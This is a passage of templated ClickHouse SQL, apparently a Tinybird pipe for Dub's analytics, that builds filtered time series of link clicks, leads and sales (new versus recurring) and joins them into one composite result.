{% if defined(domainOperator) and String(domainOperator) == 'NOT IN' %}\n                AND domain NOT IN {{ Array(domain, 'String') }}\n            {% else %}\n                AND domain IN {{ Array(domain, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tagId) %}\n            {% if defined(tagIdOperator) and String(tagIdOperator) == 'NOT IN' %}\n                AND length(arrayFilter(x -> x NOT IN {{ Array(tagId, 'String') }}, tag_ids)) = length(tag_ids)\n            {% else %}\n                AND arrayIntersect(tag_ids, {{ Array(tagId, 'String') }}) != []\n            {% end %}\n        {% end %}\n        {% if defined(folderId) %}\n            {% if defined(folderIdOperator) and String(folderIdOperator) == 'NOT IN' %}\n                AND folder_id NOT IN {{ Array(folderId, 'String') }}\n            {% else %}\n                AND folder_id IN {{ Array(folderId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(root) %}\n            {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n        {% end %}\n\n\n\nNODE timeseries_clicks_data\nSQL >\n\n    %\n    SELECT\n        {% if granularity == \"hour\" %} toStartOfHour(timestamp, {{ String(timezone, 'UTC') }})\n        {% elif granularity == \"month\" %}\n            toDateTime64(\n                toStartOfMonth(timestamp, {{ String(timezone, 'UTC') }}),\n                3,\n                {{ String(timezone, 'UTC') }}\n            )\n        {% else %} toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3)\n        {% end %} AS interval,\n        uniq(click_id) as clicks\n    FROM\n        {% if defined(customerId) %} dub_click_events_id\n        {% else %} dub_click_events_mv\n        {% end %}\n        {% if defined(customerId) %}\n            PREWHERE click_id IN (\n                SELECT DISTINCT click_id\n                FROM dub_lead_events_mv\n                WHERE customer_id = {{ String(customerId) }}\n            )\n        {% end %}\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% elif field == 'tagId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% end %}\n                    {% elif field == 'folderId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    GROUP BY interval\n    ORDER BY interval\n\n\n\nNODE timeseries_clicks\nSQL >\n\n    %\n        SELECT formatDateTime(interval, '%FT%T.000%z') as groupByField, clicks\n        FROM\n            {% if granularity == \"minute\" %} minute_intervals\n            {% elif granularity == \"hour\" %} hour_intervals\n            {% elif granularity == \"month\" %} month_intervals\n            {% else %} day_intervals\n            {% end %}\n        LEFT JOIN timeseries_clicks_data USING interval\n\n\n\nNODE timeseries_leads_data\nSQL >\n\n    %\n    SELECT\n        {% if granularity == \"hour\" %} toStartOfHour(timestamp, {{ String(timezone, 'UTC') }})\n        {% elif granularity == \"month\" %}\n            toDateTime64(\n                toStartOfMonth(timestamp, {{ String(timezone, 'UTC') }}),\n                3,\n                {{ String(timezone, 'UTC') }}\n            )\n        {% else %} toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3)\n        {% end %} AS interval,\n        uniq(*) as leads\n    FROM dub_lead_events_mv\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% elif field == 'tagId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% end %}\n                    {% elif field == 'folderId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% end %}\n                {% elif item.get('operand', '').startswith('metadata.') %}\n                    {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                    {% set operator = item.get('operator', 'equals') %}\n                    {% set value = item.get('value', '') %}\n                    {% if operator == 'equals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                    {% elif operator == 'notEquals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                    {% elif operator == 'greaterThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                    {% elif operator == 'greaterThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    GROUP BY interval\n    ORDER BY interval\n\n\n\nNODE timeseries_leads\nSQL >\n\n    %\n        SELECT formatDateTime(interval, '%FT%T.000%z') as groupByField, leads\n        FROM\n            {% if granularity == \"minute\" %} minute_intervals\n            {% elif granularity == \"hour\" %} hour_intervals\n            {% elif granularity == \"month\" %} month_intervals\n            {% else %} day_intervals\n            {% end %}\n        LEFT JOIN timeseries_leads_data USING interval\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n    %\n    SELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\n    FROM dub_first_sale_mv\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n    GROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE timeseries_sales_data\nSQL >\n\n    %\n    SELECT\n        {% if granularity == \"hour\" %}\n            toStartOfHour(timestamp, {{ String(timezone, 'UTC') }})\n        {% elif granularity == \"month\" %}\n            toDateTime64(\n                toStartOfMonth(timestamp, {{ String(timezone, 'UTC') }}),\n                3,\n                {{ String(timezone, 'UTC') }}\n            )\n        {% else %}\n            toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3)\n        {% end %} AS interval,\n        uniq(*) AS sales,\n        sum(amount) AS amount\n    FROM\n    (\n        SELECT\n            se.timestamp,\n            se.amount,\n            se.workspace_id,\n            se.link_id,\n            se.customer_id,\n            se.continent,\n            se.country,\n            se.region,\n            se.city,\n            se.device,\n            se.browser,\n            se.os,\n            se.referer,\n            se.referer_url,\n            se.url,\n            se.metadata,\n            if(\n                isNull(fs.first_sale_ts),\n                'new',\n                if(\n                    toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                    'new',\n                    'recurring'\n                )\n            ) AS sale_type\n        FROM dub_sale_events_mv AS se\n        LEFT JOIN first_sale_by_link_customer AS fs\n            USING (workspace_id, link_id, customer_id)\n        WHERE\n            true\n            {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n            {% if defined(linkId) %}\n                {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                    AND se.link_id NOT IN {{ Array(linkId, 'String') }}\n                {% else %}\n                    AND se.link_id IN {{ Array(linkId, 'String') }}\n                {% end %}\n            {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n                tenantId\n                ) or defined(folderId) or defined(domain) or defined(\n                    tagId\n                ) or defined(\n                root\n            ) %} AND se.link_id in (SELECT link_id from workspace_links)\n            {% end %}\n            {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n            {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n            {% if defined(country) %} AND se.country = {{ country }} {% end %}\n            {% if defined(region) %} AND se.region = {{ region }} {% end %}\n            {% if defined(city) %} AND se.city = {{ city }} {% end %}\n            {% if defined(device) %} AND se.device = {{ device }} {% end %}\n            {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n            {% if defined(os) %} AND se.os = {{ os }} {% end %}\n            {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n            {% if defined(refererUrl) %} AND splitByString('?', se.referer_url)[1] = {{ refererUrl }} {% end %}\n            {% if defined(utm_source) %}\n                AND se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n            {% end %}\n            {% if defined(utm_medium) %}\n                AND se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n            {% end %}\n            {% if defined(utm_campaign) %}\n                AND se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n            {% end %}\n            {% if defined(utm_term) %}\n                AND se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n            {% end %}\n            {% if defined(utm_content) %}\n                AND se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n            {% end %}\n            {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n            {% if defined(start) %} AND se.timestamp >= {{ DateTime64(start) }} {% end %}\n            {% if defined(end) %} AND se.timestamp <= {{ DateTime64(end) }} {% end %}\n            {% if defined(filters) %}\n                {% for item in JSON(filters, '[]') %}\n                    {% if item.get('field', '') %}\n                        {% set field = item.get('field', '') %}\n                        {% set operator = item.get('operator', 'IN') %}\n                        {% set values = item.get('values', []) %}\n                        {% if field == 'country' %}\n                            {% if operator == 'IN' %} AND se.country IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.country NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'city' %}\n                            {% if operator == 'IN' %} AND se.city IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.city NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'continent' %}\n                            {% if operator == 'IN' %} AND se.continent IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.continent NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'device' %}\n                            {% if operator == 'IN' %} AND se.device IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.device NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'browser' %}\n                            {% if operator == 'IN' %} AND se.browser IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.browser NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'os' %}\n                            {% if operator == 'IN' %} AND se.os IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.os NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'trigger' %}\n                            {% if operator == 'IN' %} AND se.trigger IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.trigger NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'referer' %}\n                            {% if operator == 'IN' %} AND se.referer IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.referer NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'refererUrl' %}\n                            {% if operator == 'IN' %} AND splitByString('?', se.referer_url)[1] IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND splitByString('?', se.referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'url' %}\n                            {% if operator == 'IN' %} AND splitByString('?', se.url)[1] IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND splitByString('?', se.url)[1] NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'utm_source' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_medium' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_campaign' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_term' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_content' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'domain' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                            {% end %}\n                        {% elif field == 'tagId' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                            {% end %}\n                        {% elif field == 'folderId' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                            {% end %}\n                        {% end %}\n                    {% elif item.get('operand', '').startswith('metadata.') %}\n                        {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                        {% set operator = item.get('operator', 'equals') %}\n                        {% set value = item.get('value', '') %}\n                        {% if operator == 'equals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) = {{ value }}\n                        {% elif operator == 'notEquals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) != {{ value }}\n                        {% elif operator == 'greaterThan' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                        {% elif operator == 'lessThan' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                        {% elif operator == 'greaterThanOrEqual' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                        {% elif operator == 'lessThanOrEqual' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n    ) AS typed\n    WHERE\n        true\n        {% if defined(saleType) %} AND typed.sale_type = {{ String(saleType) }} {% end %}\n    GROUP BY interval\n    ORDER BY interval\n\n\n\nNODE timeseries_sales\nSQL >\n\n    %\n        SELECT formatDateTime(interval, '%FT%T.000%z') as groupByField, sales, amount, amount as saleAmount\n        FROM\n            {% if granularity == \"minute\" %} minute_intervals\n            {% elif granularity == \"hour\" %} hour_intervals\n            {% elif granularity == \"month\" %} month_intervals\n            {% else %} day_intervals\n            {% end %}\n        LEFT JOIN timeseries_sales_data USING interval\n\n\n\nNODE timeseries_composite\nSQL >\n\n    SELECT dce.groupByField AS groupByField, clicks, leads, sales, amount, saleAmount\n    FROM (SELECT groupByField, clicks FROM timeseries_clicks) AS dce\n    LEFT JOIN (SELECT * FROM  timeseries_leads) AS dle ON dce.groupByField = dle.groupByField\n    LEFT JOIN (SELECT * FROM timeseries_sales) AS dse ON dce.groupByField = dse.groupByField\n\n\n\nNODE endpoint\nSQL >\n\n    %\n    SELECT *\n    